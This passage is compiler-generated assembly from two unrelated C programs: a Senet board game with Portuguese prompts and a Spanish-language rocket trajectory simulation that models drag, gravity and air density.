-8(%rbp), %eax cmpl $29, %eax jge LBB7_22 ## %bb.20: movl -4(%rbp), %eax addl -8(%rbp), %eax cmpl $26, %eax je LBB7_22 ## %bb.21: movslq -4(%rbp), %rcx movq _m@GOTPCREL(%rip), %rax movb (%rax,%rcx), %al movb %al, -9(%rbp) movl -4(%rbp), %eax addl -8(%rbp), %eax movslq %eax, %rcx movq _m@GOTPCREL(%rip), %rax movb (%rax,%rcx), %dl movslq -4(%rbp), %rcx movq _m@GOTPCREL(%rip), %rax movb %dl, (%rax,%rcx) movb -9(%rbp), %dl movl -4(%rbp), %eax addl -8(%rbp), %eax movslq %eax, %rcx movq _m@GOTPCREL(%rip), %rax movb %dl, (%rax,%rcx) LBB7_22: addq $16, %rsp popq %rbp retq .cfi_endproc ## -- End function .globl _movimento ## -- Begin function movimento .p2align 4, 0x90 _movimento: ## @movimento .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $16, %rsp callq _sorteiaEstilete movl %eax, -12(%rbp) cmpl $1, _vez(%rip) jne LBB8_11 ## %bb.1: movq _i@GOTPCREL(%rip), %rax movl $9, (%rax) LBB8_2: ## =>This Inner Loop Header: Depth=1 movq _i@GOTPCREL(%rip), %rax cmpl $0, (%rax) jl LBB8_10 ## %bb.3: ## in Loop: Header=BB8_2 Depth=1 movq _jogador@GOTPCREL(%rip), %rax cmpl $1, (%rax) jne LBB8_5 ## %bb.4: ## in Loop: Header=BB8_2 Depth=1 movq _i@GOTPCREL(%rip), %rax movslq (%rax), %rcx movq _m@GOTPCREL(%rip), %rax movsbl (%rax,%rcx), %eax movq _pe@GOTPCREL(%rip), %rcx movsbl (%rcx), %ecx cmpl %ecx, %eax je LBB8_7 LBB8_5: ## in Loop: Header=BB8_2 Depth=1 movq _jogador@GOTPCREL(%rip), %rax cmpl $2, (%rax) jne LBB8_8 ## %bb.6: ## in Loop: Header=BB8_2 Depth=1 movq _i@GOTPCREL(%rip), %rax movslq (%rax), %rcx movq _m@GOTPCREL(%rip), %rax movsbl (%rax,%rcx), %eax movq _ope@GOTPCREL(%rip), %rcx movsbl (%rcx), %ecx cmpl %ecx, %eax jne LBB8_8 LBB8_7: movq _i@GOTPCREL(%rip), %rax movl (%rax), %edi movl -12(%rbp), %esi callq _move callq _tabuleiro jmp LBB8_10 LBB8_8: ## in Loop: Header=BB8_2 Depth=1 jmp LBB8_9 LBB8_9: ## in Loop: Header=BB8_2 Depth=1 movq _i@GOTPCREL(%rip), %rax movl (%rax), %ecx addl $-1, %ecx movq _i@GOTPCREL(%rip), %rax movl %ecx, (%rax) jmp LBB8_2 LBB8_10: movl _vez(%rip), %eax addl $1, %eax movl %eax, _vez(%rip) jmp LBB8_36 LBB8_11: movl -12(%rbp), %edi callq _testaMovimento cmpl $1, %eax jne LBB8_16 ## %bb.12: leaq L_.str.15(%rip), %rdi movb $0, %al callq _printf movq _jogador@GOTPCREL(%rip), %rax cmpl $1, (%rax) jne LBB8_14 ## %bb.13: movq _jogador@GOTPCREL(%rip), %rax movl $2, (%rax) jmp LBB8_15 LBB8_14: movq _jogador@GOTPCREL(%rip), %rax movl $1, (%rax) LBB8_15: movq _jogador@GOTPCREL(%rip), %rax movl (%rax), %esi movl _vez(%rip), %edx leaq L_.str.16(%rip), %rdi movb $0, %al callq _printf jmp LBB8_36 LBB8_16: jmp LBB8_17 LBB8_17: ## =>This Loop Header: Depth=1 ## Child Loop BB8_24 Depth 2 cmpl $1, -12(%rbp) je LBB8_20 ## %bb.18: ## in Loop: Header=BB8_17 Depth=1 cmpl $4, -12(%rbp) je LBB8_20 ## %bb.19: ## in Loop: Header=BB8_17 Depth=1 xorl %eax, %eax ## kill: def $al killed $al killed $eax cmpl $6, -12(%rbp) movb %al, -13(%rbp) ## 1-byte Spill jne LBB8_22 LBB8_20: ## in Loop: Header=BB8_17 Depth=1 xorl %eax, %eax ## kill: def $al killed $al killed $eax cmpl $5, _player1(%rip) movb %al, -13(%rbp) ## 1-byte Spill jge LBB8_22 ## %bb.21: ## in Loop: Header=BB8_17 Depth=1 cmpl $5, _player2(%rip) setl %al movb %al, -13(%rbp) ## 1-byte Spill LBB8_22: ## in Loop: Header=BB8_17 Depth=1 movb -13(%rbp), %al ## 1-byte Reload testb $1, %al jne LBB8_23 jmp LBB8_27 LBB8_23: ## in Loop: Header=BB8_17 Depth=1 movq _jogador@GOTPCREL(%rip), %rax movl (%rax), %esi leaq L_.str.17(%rip), %rdi movb $0, %al callq _printf movl -12(%rbp), %esi leaq L_.str.18(%rip), %rdi movb $0, %al callq _printf leaq L_.str.19(%rip), %rdi movb $0, %al callq _printf leaq L_.str.20(%rip), %rdi leaq -8(%rbp), %rsi movb $0, %al callq _scanf LBB8_24: ## Parent Loop BB8_17 Depth=1 ## => This Inner Loop Header: Depth=2 movl -8(%rbp), %edi movl -12(%rbp), %esi callq _verificaMovimento cmpl $1, %eax jne LBB8_26 ## %bb.25: ## in Loop: Header=BB8_24 Depth=2 callq _tabuleiro movq _jogador@GOTPCREL(%rip), %rax movl (%rax), %esi leaq L_.str.17(%rip), %rdi movb $0, %al callq _printf movl -12(%rbp), %esi leaq L_.str.18(%rip), %rdi movb $0, %al callq _printf leaq L_.str.21(%rip), %rdi movb $0, %al callq _printf leaq L_.str.20(%rip), %rdi leaq -8(%rbp), %rsi movb $0, %al callq _scanf jmp LBB8_24 LBB8_26: ## in Loop: Header=BB8_17 Depth=1 movl -8(%rbp), %edi movl -12(%rbp), %esi callq _move callq _tabuleiro callq _sorteiaEstilete movl %eax, -12(%rbp) jmp LBB8_17 LBB8_27: cmpl $5, _player1(%rip) jge LBB8_29 ## %bb.28: cmpl $5, _player2(%rip) jl LBB8_30 LBB8_29: jmp LBB8_36 LBB8_30: movq _jogador@GOTPCREL(%rip), %rax movl (%rax), %esi leaq L_.str.17(%rip), %rdi movb $0, %al callq _printf movl -12(%rbp), %esi leaq L_.str.18(%rip), %rdi movb $0, %al callq _printf leaq L_.str.19(%rip), %rdi movb $0, %al callq _printf leaq L_.str.20(%rip), %rdi leaq -8(%rbp), %rsi movb $0, %al callq _scanf LBB8_31: ## =>This Inner Loop Header: Depth=1 movl -8(%rbp), %edi movl -12(%rbp), %esi callq _verificaMovimento cmpl $1, %eax jne LBB8_33 ## %bb.32: ## in Loop: Header=BB8_31 Depth=1 callq _tabuleiro movq _jogador@GOTPCREL(%rip), %rax movl (%rax), %esi leaq L_.str.17(%rip), %rdi movb $0, %al callq _printf movl -12(%rbp), %esi leaq L_.str.18(%rip), %rdi movb $0, %al callq _printf leaq L_.str.21(%rip), %rdi movb $0, %al callq _printf leaq L_.str.20(%rip), %rdi leaq -8(%rbp), %rsi movb $0, %al callq _scanf jmp LBB8_31 LBB8_33: movl -8(%rbp), %edi movl -12(%rbp), %esi callq _move callq _tabuleiro movl _vez(%rip), %eax addl $1, %eax movl %eax, _vez(%rip) movq _jogador@GOTPCREL(%rip), %rax cmpl $1, (%rax) jne LBB8_35 ## %bb.34: movq _jogador@GOTPCREL(%rip), %rax movl $2, (%rax) jmp LBB8_36 LBB8_35: movq _jogador@GOTPCREL(%rip), %rax movl $1, (%rax) LBB8_36: addq $16, %rsp popq %rbp retq .cfi_endproc ## -- End function .globl _main ## -- Begin function main .p2align 4, 0x90 _main: ## @main .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $32, %rsp movl $0, -4(%rbp) movl %edi, -8(%rbp) movq %rsi, -16(%rbp) leaq L_.str.22(%rip), %rdi callq _system callq _Senet leaq L_.str.23(%rip), %rdi movb $0, %al callq _printf LBB9_1: ## =>This Inner Loop Header: Depth=1 cmpl $1, -24(%rbp) je LBB9_7 ## %bb.2: ## in Loop: Header=BB9_1 Depth=1 callq _sorteiaEstilete movl %eax, -24(%rbp) cmpl $1, -24(%rbp) jne LBB9_4 ## %bb.3: leaq L_.str.24(%rip), %rdi movb $0, %al callq _printf movq _jogador@GOTPCREL(%rip), %rax movl $1, (%rax) jmp LBB9_7 LBB9_4: ## in Loop: Header=BB9_1 Depth=1 callq _sorteiaEstilete movl %eax, -24(%rbp) cmpl $1, -24(%rbp) jne LBB9_6 ## %bb.5: leaq L_.str.25(%rip), %rdi movb $0, %al callq _printf movq _jogador@GOTPCREL(%rip), %rax movl $2, (%rax) jmp LBB9_7 LBB9_6: ## in Loop: Header=BB9_1 Depth=1 jmp LBB9_1 LBB9_7: callq _escolhePeca movl %eax, -20(%rbp) cmpl $1, -20(%rbp) jne LBB9_10 ## %bb.8: movq _jogador@GOTPCREL(%rip), %rax cmpl $1, (%rax) jne LBB9_10 ## %bb.9: movq _pe@GOTPCREL(%rip), %rax movb $88, (%rax) movq _ope@GOTPCREL(%rip), %rax movb $79, (%rax) jmp LBB9_22 LBB9_10: cmpl $1, -20(%rbp) jne LBB9_13 ## %bb.11: movq _jogador@GOTPCREL(%rip), %rax cmpl $2, (%rax) jne LBB9_13 ## %bb.12: movq _pe@GOTPCREL(%rip), %rax movb $79, (%rax) movq _ope@GOTPCREL(%rip), %rax movb $88, (%rax) jmp LBB9_21 LBB9_13: cmpl $0, -20(%rbp) jne LBB9_16 ## %bb.14: movq _jogador@GOTPCREL(%rip), %rax cmpl $1, (%rax) jne LBB9_16 ## %bb.15: movq _pe@GOTPCREL(%rip), %rax movb $79, (%rax) movq _ope@GOTPCREL(%rip), %rax movb $88, (%rax) jmp LBB9_20 LBB9_16: cmpl $0, -20(%rbp) jne LBB9_19 ## %bb.17: movq _jogador@GOTPCREL(%rip), %rax cmpl $2, (%rax) jne LBB9_19 ## %bb.18: movq _pe@GOTPCREL(%rip), %rax movb $88, (%rax) movq _ope@GOTPCREL(%rip), %rax movb $79, (%rax) LBB9_19: jmp LBB9_20 LBB9_20: jmp LBB9_21 LBB9_21: jmp LBB9_22 LBB9_22: callq _tabuleiro LBB9_23: ## =>This Inner Loop Header: Depth=1 xorl %eax, %eax ## kill: def $al killed $al killed $eax cmpl $5, _player1(%rip) movb %al, -25(%rbp) ## 1-byte Spill jge LBB9_25 ## %bb.24: ## in Loop: Header=BB9_23 Depth=1 cmpl $5, _player2(%rip) setl %al movb %al, -25(%rbp) ## 1-byte Spill LBB9_25: ## in Loop: Header=BB9_23 Depth=1 movb -25(%rbp), %al ## 1-byte Reload testb $1, %al jne LBB9_26 jmp LBB9_27 LBB9_26: ## in Loop: Header=BB9_23 Depth=1 callq _movimento jmp LBB9_23 LBB9_27: leaq L_.str.5(%rip), %rdi callq _system cmpl $5, _player1(%rip) jne LBB9_29 ## %bb.28: leaq L_.str.26(%rip), %rdi movb $0, %al callq _printf jmp LBB9_30 LBB9_29: leaq L_.str.27(%rip), %rdi movb $0, %al callq _printf LBB9_30: xorl %eax, %eax addq $32, %rsp popq %rbp retq .cfi_endproc ## -- End function .globl _p ## @p .zerofill __DATA,__common,_p,4,2 .section __DATA,__data .globl _a ## @a .p2align 2 _a: .long 1 ## 0x1 .globl _vez ## @vez .zerofill __DATA,__common,_vez,4,2 .globl _player1 ## @player1 .zerofill __DATA,__common,_player1,4,2 .globl _player2 ## @player2 .zerofill __DATA,__common,_player2,4,2 .globl _x ## @x .p2align 4 _x: .ascii "OXOXOXOXOX " .globl _o ## @o .p2align 4 _o: .ascii "XOXOXOXOXO " .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz "\n\t\t\t\t\t------------------------------------" L_.str.1: ## @.str.1 .asciz "\n\t\t\t\t\t---------------Senet----------------" L_.str.2: ## @.str.2 .asciz "Escolha uma peca [x/o]: " L_.str.3: ## @.str.3 .asciz "%c" L_.str.4: ## @.str.4 .asciz "\nPeca invalida\n" .comm _i,4,2 ## @i .comm _m,30,4 ## @m L_.str.5: ## @.str.5 .asciz "cls" L_.str.6: ## @.str.6 .asciz "\n" L_.str.7: ## @.str.7 .asciz " 0 1 2 3 4 5 6 7 8 9\n" L_.str.8: ## @.str.8 .asciz " [ %c ] " L_.str.9: ## @.str.9 .asciz " 19 18 17 16 15 14 13 12 11 10\n" L_.str.10: ## @.str.10 .asciz " 20 21 22 23 24 25 26 27 28 29\n" L_.str.11: ## @.str.11 .asciz "\n\n" L_.str.12: ## @.str.12 .asciz "\nJogador 1 = %c\tJogador 2 = %c\n\n" .comm _pe,1,0 ## @pe .comm _ope,1,0 ## @ope L_.str.13: ## @.str.13 .asciz "\n\t\t\t\t Placar\n\n" L_.str.14: ## @.str.14 .asciz "\t\t\tJogador 1 = %d\tJogador 2 = %d\n\n" .comm _jogador,4,2 ## @jogador .comm _j,4,2 ## @j L_.str.15: ## @.str.15 .asciz "\nNao ha jogadas possiveis\n" L_.str.16: ## @.str.16 .asciz "\njogador = %d vez=%d" L_.str.17: ## @.str.17 .asciz "\n\nVez do jogador %d" L_.str.18: ## @.str.18 .asciz "\n\nEstilete = %d\n\n" L_.str.19: ## @.str.19 .asciz "\nQual peca deseja mover? " L_.str.20: ## @.str.20 .asciz "%d" L_.str.21: ## @.str.21 .asciz "\nMovimento invalido\n\nDigite novamente:" L_.str.22: ## @.str.22 .asciz "color 0A" L_.str.23: ## @.str.23 .asciz "\n\n\n\n\t\t\t\tSorteando o primeiro a jogar...\n\n" L_.str.24: ## @.str.24 .asciz "\nJogador 1 comeca!\n" L_.str.25: ## @.str.25 .asciz "\nJogador 2 comeca!\n" L_.str.26: ## @.str.26 .asciz "\n\n\n\t\t\t\tJOGADOR 1 GANHOU!!!!\n\n\n" L_.str.27: ## @.str.27 .asciz "\n\n\n\t\t\t\tJOGADOR 2 GANHOU!!!!\n\n\n" .comm _proximo,4,2 ## @proximo .subsections_via_symbols
the_stack_data/43886499.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _main ; -- Begin function main .p2align 2 _main: ; @main .cfi_startproc ; %bb.0: sub sp, sp, #160 .cfi_def_cfa_offset 160 stp x29, x30, [sp, #144] ; 16-byte Folded Spill add x29, sp, #144 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 adrp x8, ___stack_chk_guard@GOTPAGE ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF] ldr x8, [x8] stur x8, [x29, #-8] str wzr, [sp, #44] adrp x0, l_.str@PAGE add x0, x0, l_.str@PAGEOFF bl _printf adrp x8, l___const.main.nombre1@PAGE add x8, x8, l___const.main.nombre1@PAGEOFF ldr q0, [x8] sub x0, x29, #32 stur q0, [x29, #-32] ldr w8, [x8, #16] stur w8, [x29, #-16] adrp x8, l___const.main.nombre2@PAGE add x8, x8, l___const.main.nombre2@PAGEOFF ldr q0, [x8] sub x9, x29, #64 str x9, [sp, #8] ; 8-byte Folded Spill stur q0, [x29, #-64] ldr w8, [x8, #16] stur w8, [x29, #-48] adrp x8, l___const.main.nombre3@PAGE add x8, x8, l___const.main.nombre3@PAGEOFF ldr q0, [x8] add x9, sp, #48 str x9, [sp, #32] ; 8-byte Folded Spill str q0, [sp, #48] ldr w8, [x8, #16] str w8, [sp, #64] mov w8, #57792 movk w8, #19428, lsl #16 fmov s0, w8 mov w8, #18923 movk w8, #14762, lsl #16 fmov s1, w8 mov w8, #5243 movk w8, #17013, lsl #16 fmov s2, w8 str s2, [sp, #16] ; 4-byte Folded Spill mov w8, #3932 movk w8, #17225, lsl #16 fmov s3, w8 str s3, [sp, #20] ; 4-byte Folded Spill mov w8, #55296 movk w8, #18390, lsl #16 fmov s4, w8 str s4, [sp, #24] ; 4-byte Folded Spill mov w8, #6912 movk w8, #18871, lsl #16 fmov s5, w8 str s5, [sp, #28] ; 4-byte Folded Spill bl _simulacion_cohete ldr x0, [sp, #8] ; 8-byte Folded Reload ldr s2, [sp, #16] ; 4-byte Folded Reload ldr s3, [sp, #20] ; 4-byte Folded Reload ldr s4, [sp, #24] ; 4-byte Folded Reload ldr s5, [sp, #28] ; 4-byte Folded Reload mov w8, #65120 movk w8, #19405, lsl #16 fmov s0, w8 mov w8, #47178 movk w8, #14699, lsl #16 fmov s1, w8 str s1, [sp, #40] ; 4-byte Folded Spill bl _simulacion_cohete ldr x0, [sp, #32] ; 8-byte Folded Reload ldr s1, [sp, #40] ; 4-byte Folded Reload mov w8, #48160 movk w8, #19390, lsl #16 fmov s0, w8 mov w8, #32768 movk w8, #17036, lsl #16 fmov s2, w8 mov w8, #1129775104 fmov s3, w8 mov w8, #51200 movk w8, #18479, lsl #16 fmov s4, w8 mov w8, #11392 movk w8, #18944, lsl #16 fmov s5, w8 bl _simulacion_cohete ldur x9, [x29, #-8] adrp x8, ___stack_chk_guard@GOTPAGE ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF] ldr x8, [x8] subs x8, x8, x9 cset w8, eq tbnz w8, #0, LBB0_2 b LBB0_1 LBB0_1: bl ___stack_chk_fail LBB0_2: mov w0, #0 ldp x29, x30, [sp, #144] ; 16-byte Folded Reload add sp, sp, #160 ret .cfi_endproc ; -- End function .globl _simulacion_cohete ; -- Begin function simulacion_cohete .p2align 2 _simulacion_cohete: ; @simulacion_cohete .cfi_startproc ; %bb.0: sub sp, sp, #128 .cfi_def_cfa_offset 128 stp x29, x30, [sp, #112] ; 16-byte Folded Spill add x29, sp, #112 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 stur x0, [x29, #-8] stur s0, [x29, #-12] stur s1, [x29, #-16] stur s2, [x29, #-20] stur s3, [x29, #-24] stur s4, [x29, #-28] stur s5, [x29, #-32] movi d0, #0000000000000000 str s0, [sp, #32] ; 4-byte Folded Spill stur s0, [x29, #-36] mov w8, #60293 movk w8, #16145, lsl #16 fmov s1, w8 stur s1, [x29, #-40] stur s0, [x29, #-44] ldur x0, [x29, #-8] adrp x1, l_.str.1@PAGE add x1, x1, l_.str.1@PAGEOFF bl _fopen str x0, [sp, #56] ldr x0, [sp, #56] ldur s0, [x29, #-44] fcvt d2, s0 ldur s0, [x29, #-40] fcvt d1, s0 ldur s0, [x29, #-36] fcvt d0, s0 mov x8, sp str d2, [x8] str d1, [x8, #8] str d0, [x8, #16] adrp x1, l_.str.2@PAGE add x1, x1, l_.str.2@PAGEOFF bl _fprintf ldr s0, [sp, #32] ; 4-byte Folded Reload ldur s1, [x29, #-32] ldur s2, [x29, #-16] ldur s3, [x29, #-12] fmul s2, s2, s3 fdiv s1, s1, s2 str s1, [sp, #52] str s0, [sp, #48] adrp x0, l_.str.3@PAGE add x0, x0, l_.str.3@PAGEOFF bl _printf ldur x8, [x29, #-8] mov x9, sp str x8, [x9] adrp x0, l_.str.4@PAGE add x0, x0, l_.str.4@PAGEOFF bl _printf ldur s0, [x29, #-12] fcvt d0, s0 mov x8, sp str d0, [x8] adrp x0, l_.str.5@PAGE add x0, x0, l_.str.5@PAGEOFF bl _printf ldur s0, [x29, #-16] fcvt d0, s0 mov x8, sp str d0, [x8] adrp x0, l_.str.6@PAGE add x0, x0, l_.str.6@PAGEOFF bl _printf ldur s0, [x29, #-20] fcvt d0, s0 mov x8, sp str d0, [x8] adrp x0, l_.str.7@PAGE add x0, x0, l_.str.7@PAGEOFF bl _printf ldur s0, [x29, #-24] fcvt d0, s0 mov x8, sp str d0, [x8] adrp x0, l_.str.8@PAGE add x0, x0, l_.str.8@PAGEOFF bl _printf ldur s0, [x29, #-28] fcvt d0, s0 mov x8, sp str d0, [x8] adrp x0, l_.str.9@PAGE add x0, x0, l_.str.9@PAGEOFF bl _printf ldur s0, [x29, #-32] fcvt d0, s0 mov x8, sp str d0, [x8] adrp x0, l_.str.10@PAGE add x0, x0, l_.str.10@PAGEOFF bl _printf b LBB1_1 LBB1_1: ; =>This Inner Loop Header: Depth=1 ldur s0, [x29, #-40] ldur s1, [x29, #-36] ldur s2, [x29, #-20] ldur s3, [x29, #-24] bl _friccion fneg s0, s0 str s0, [sp, #44] ldur s0, [x29, #-44] ldur s1, [x29, #-28] ldur s2, [x29, #-32] ldur s3, [x29, #-16] ldur s4, [x29, #-12] bl _masa_cohete str s0, [sp, #28] ; 4-byte Folded Spill ldur s0, [x29, #-40] bl _gravedad fmov s1, s0 ldr s0, [sp, #28] ; 4-byte Folded Reload ldr s2, [sp, #44] fmsub s0, s0, s1, s2 str s0, [sp, #44] ldur s0, [x29, #-44] ldr s1, [sp, #52] fcmp s0, s1 cset w8, pl tbnz w8, #0, LBB1_3 b LBB1_2 LBB1_2: ; in Loop: Header=BB1_1 Depth=1 ldur s1, [x29, #-12] ldr s0, [sp, #44] fadd s0, s0, s1 str s0, [sp, #44] b LBB1_3 LBB1_3: ; in Loop: Header=BB1_1 Depth=1 ldr s0, [sp, #44] str s0, [sp, #24] ; 4-byte Folded Spill ldur s0, [x29, #-44] ldur s1, [x29, #-28] ldur s2, [x29, #-32] ldur s3, [x29, #-16] ldur s4, [x29, #-12] bl _masa_cohete fmov s1, s0 ldr s0, [sp, #24] ; 4-byte Folded Reload fdiv s0, s0, s1 str s0, [sp, #40] ldur s0, [x29, #-36] str s0, [sp, #36] ldr s0, [sp, #40] ldur s2, [x29, #-36] mov w8, #52429 movk w8, #15820, lsl #16 fmov s1, w8 fmadd s0, s0, s1, s2 stur s0, [x29, #-36] ldur s2, [x29, #-36] ldr s0, [sp, #36] fadd s0, s0, s2 str s0, [sp, #36] ldr s0, [sp, #36] fmov s2, #0.50000000 fmul s0, s0, s2 str s0, [sp, #36] ldr s0, [sp, #36] ldur s2, [x29, #-40] fmadd s0, s0, s1, s2 stur s0, [x29, #-40] ldur s0, [x29, #-40] ldr s1, [sp, #48] fcmp s0, s1 cset w8, le tbnz w8, #0, LBB1_5 b LBB1_4 LBB1_4: ; in Loop: Header=BB1_1 Depth=1 ldur s0, [x29, #-40] str s0, [sp, #48] b LBB1_5 LBB1_5: ; in Loop: Header=BB1_1 Depth=1 ldur s0, [x29, #-44] mov w8, #52429 movk w8, #15820, lsl #16 fmov s1, w8 fadd s0, s0, s1 stur s0, [x29, #-44] ldr x0, [sp, #56] ldur s0, [x29, #-44] fcvt d2, s0 ldur s0, [x29, #-40] fcvt d1, s0 ldur s0, [x29, #-36] fcvt d0, s0 mov x8, sp str d2, [x8] str d1, [x8, #8] str d0, [x8, #16] adrp x1, l_.str.11@PAGE add x1, x1, l_.str.11@PAGEOFF bl _fprintf ldur s0, [x29, #-40] fcmp s0, #0.0 cset w8, pl tbnz w8, #0, LBB1_7 b LBB1_6 LBB1_6: ldr s0, [sp, #48] fcvt d0, s0 mov x8, sp str d0, [x8] adrp x0, l_.str.12@PAGE add x0, x0, l_.str.12@PAGEOFF bl _printf ldr s0, [sp, #52] fcvt d0, s0 mov x8, sp str d0, [x8] adrp x0, l_.str.13@PAGE add x0, x0, l_.str.13@PAGEOFF bl _printf ldur s0, [x29, #-44] mov w8, #1114636288 fmov s1, w8 fdiv s0, s0, s1 fcvtzs w10, s0 mov x9, sp ; implicit-def: $x8 mov x8, x10 str x8, [x9] adrp x0, l_.str.14@PAGE add x0, x0, l_.str.14@PAGEOFF bl _printf ldr x0, [sp, #56] bl _fclose ldp x29, x30, [sp, #112] ; 16-byte Folded Reload add sp, sp, #128 ret LBB1_7: ; in Loop: Header=BB1_1 Depth=1 ldr x0, [sp, #56] adrp x1, l_.str.15@PAGE add x1, x1, l_.str.15@PAGEOFF bl _fprintf b LBB1_8 LBB1_8: ; in Loop: Header=BB1_1 Depth=1 b LBB1_1 .cfi_endproc ; -- End function .section __TEXT,__literal8,8byte_literals .p2align 3 ; -- Begin function densidad lCPI2_0: .quad 0x3ff39979c0000000 ; double 1.2249696254730225 lCPI2_1: .quad 0x401507b9e0000000 ; double 5.257544994354248 .section __TEXT,__text,regular,pure_instructions .globl _densidad .p2align 2 _densidad: ; @densidad .cfi_startproc ; %bb.0: sub sp, sp, #32 .cfi_def_cfa_offset 32 stp x29, x30, [sp, #16] ; 16-byte Folded Spill add x29, sp, #16 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 str s0, [sp, #8] ldr s0, [sp, #8] mov w8, #10948 movk w8, #18221, lsl #16 fmov s1, w8 fcmp s0, s1 cset w8, le tbnz w8, #0, LBB2_2 b LBB2_1 LBB2_1: movi d0, #0000000000000000 stur s0, [x29, #-4] b LBB2_3 LBB2_2: ldr s1, [sp, #8] mov w8, #65012 movk w8, #15316, lsl #16 fmov s0, w8 fmul s0, s0, s1 mov w8, #4915 movk w8, #17296, lsl #16 fmov s1, w8 fdiv s1, s0, s1 fmov s0, #1.00000000 fsub s0, s0, s1 fcvt d0, s0 adrp x8, lCPI2_1@PAGE ldr d1, [x8, lCPI2_1@PAGEOFF] bl _pow fmov d1, d0 adrp x8, lCPI2_0@PAGE ldr d0, [x8, lCPI2_0@PAGEOFF] fmul d0, d0, d1 fcvt s0, d0 stur s0, [x29, #-4] b LBB2_3 LBB2_3: ldur s0, [x29, #-4] ldp x29, x30, [sp, #16] ; 16-byte Folded Reload add sp, sp, #32 ret .cfi_endproc ; -- End function .globl _friccion ; -- Begin function friccion .p2align 2 _friccion: ; @friccion .cfi_startproc ; %bb.0: sub sp, sp, #48 .cfi_def_cfa_offset 48 stp x29, x30, [sp, #32] ; 16-byte Folded Spill add x29, sp, #32 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 stur s0, [x29, #-4] stur s1, [x29, #-8] stur s2, [x29, #-12] str s3, [sp, #16] ldur s0, [x29, #-4] bl _densidad fmov s1, s0 fmov s0, #0.50000000 fmul s0, s0, s1 ldur s1, [x29, #-12] fmul s0, s0, s1 ldr s1, [sp, #16] fmul s0, s0, s1 ldur s1, [x29, #-8] fmul s0, s0, s1 str s0, [sp, #12] ; 4-byte Folded Spill ldur s0, [x29, #-8] fcvtzs w0, s0 bl _abs ldr s0, [sp, #12] ; 4-byte Folded Reload scvtf s1, w0 fmul s0, s0, s1 ldp x29, x30, [sp, #32] ; 16-byte Folded Reload add sp, sp, #48 ret .cfi_endproc ; -- End function .section __TEXT,__literal8,8byte_literals .p2align 3 ; -- Begin function gravedad lCPI4_0: .quad 0x42f6ba0bc0000000 ; double 399813069766656 .section __TEXT,__text,regular,pure_instructions .globl _gravedad .p2align 2 _gravedad: ; @gravedad .cfi_startproc ; %bb.0: sub sp, sp, #32 .cfi_def_cfa_offset 32 stp x29, x30, [sp, #16] ; 16-byte Folded Spill add x29, sp, #16 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 stur s0, [x29, #-4] ldur s1, [x29, #-4] mov w8, #42016 movk w8, #19138, lsl #16 fmov s0, w8 fadd s0, s0, s1 fcvt d0, s0 fmov d1, #2.00000000 bl _pow fmov d1, d0 adrp x8, lCPI4_0@PAGE ldr d0, [x8, lCPI4_0@PAGEOFF] fdiv d0, d0, d1 fcvt s0, d0 ldp x29, x30, [sp, #16] ; 16-byte Folded Reload add sp, sp, #32 ret .cfi_endproc ; -- End function .globl _masa_cohete ; -- Begin function masa_cohete .p2align 2 _masa_cohete: ; @masa_cohete .cfi_startproc ; %bb.0: sub sp, sp, #32 .cfi_def_cfa_offset 32 str s0, [sp, #28] str s1, [sp, #24] str s2, [sp, #20] str s3, [sp, #16] str s4, [sp, #12] ldr s2, [sp, #20] ldr s0, [sp, #16] ldr s1, [sp, #12] fmul s0, s0, s1 ldr s1, [sp, #28] fmsub s0, s0, s1, s2 str s0, [sp, #8] ldr s0, [sp, #8] fcmp s0, #0.0 cset w8, pl tbnz w8, #0, LBB5_2 b LBB5_1 LBB5_1: movi d0, #0000000000000000 str s0, [sp, #8] b LBB5_2 LBB5_2: ldr s0, [sp, #8] ldr s1, [sp, #24] fadd s0, s0, s1 add sp, sp, #32 ret .cfi_endproc ; -- End function .section __TEXT,__const .globl _G ; @G .p2align 2 _G: .long 0x2e932e3e ; float 6.69300032E-11 .globl _R_T ; @R_T .p2align 2 _R_T: .long 0x4ac2a420 ; float 6378000 .globl _M_T ; @M_T .p2align 2 _M_T: .long 0x689e1eb0 ; float 5.97359991E+24 .globl _R ; @R .p2align 2 _R: .long 0x438f87ae ; float 287.059998 .globl _L ; @L .p2align 2 _L: .long 0x3bd4fdf4 ; float 0.00650000013 .globl _g_0 ; @g_0 .p2align 2 _g_0: .long 0x411cf5c3 ; float 9.81000041 .globl _T_0 ; @T_0 .p2align 2 _T_0: .long 0x43901333 ; float 288.149994 .globl _P_0 ; @P_0 .p2align 2 _P_0: .long 0x47c5e680 ; float 101325 .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz "Bienvenido!!!\n" .section __TEXT,__const l___const.main.nombre1: ; @__const.main.nombre1 .asciz "Ah Mun\000\000\000\000\000\000\000\000\000\000\000\000\000" l___const.main.nombre2: ; @__const.main.nombre2 .asciz "Ahua Kin\000\000\000\000\000\000\000\000\000\000\000" l___const.main.nombre3: ; @__const.main.nombre3 .asciz "Chac\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000" .section __TEXT,__cstring,cstring_literals l_.str.1: ; @.str.1 .asciz "w+" l_.str.2: ; @.str.2 .asciz "%.10ef\t%.10ef\t%.10ef\n" l_.str.3: ; @.str.3 .asciz "-------------------------------------------------------------------\n" l_.str.4: ; @.str.4 .asciz "Nombre del cohete: %s\n" l_.str.5: ; @.str.5 .asciz "Empuje del cohete [N]: %.2ef\n" l_.str.6: ; @.str.6 .asciz "Consumo especifico del empuje [kg/N*s]: %.2ef\n" l_.str.7: ; @.str.7 .asciz "Coeficiente de forma: %.2f\n" l_.str.8: ; @.str.8 .asciz "Secci\303\263n transversal del cohete [m^2]: %.2f\n" l_.str.9: ; @.str.9 .asciz "Masa del cohete vac\303\255o [kg]: 